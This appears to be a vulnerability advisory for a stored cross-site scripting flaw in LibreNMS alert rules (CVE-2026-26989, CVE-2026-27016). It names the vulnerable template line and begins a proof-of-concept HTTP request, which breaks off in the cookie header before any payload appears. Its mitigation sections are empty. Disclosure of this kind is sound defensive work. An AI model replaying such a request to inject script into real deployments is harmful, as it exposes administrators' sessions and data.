LibreNMS has a Stored XSS in Alert Rule
Date: 2026-02
Affected: composer/librenms/librenms
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2026-26989
CVE-2026-27016
CWE: CWE-116
CWE-79
CVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L)

### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed. ### Details The stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`. ``` <td><i>" . e($rule_display) . "</i></td> ``` ### PoC Request PoC: ``` POST /alert-rule HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF X-Requested-With: XMLHttpRequest Content-Length: 718 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxL


Mitigations:

Architectural layers (MAESTRO):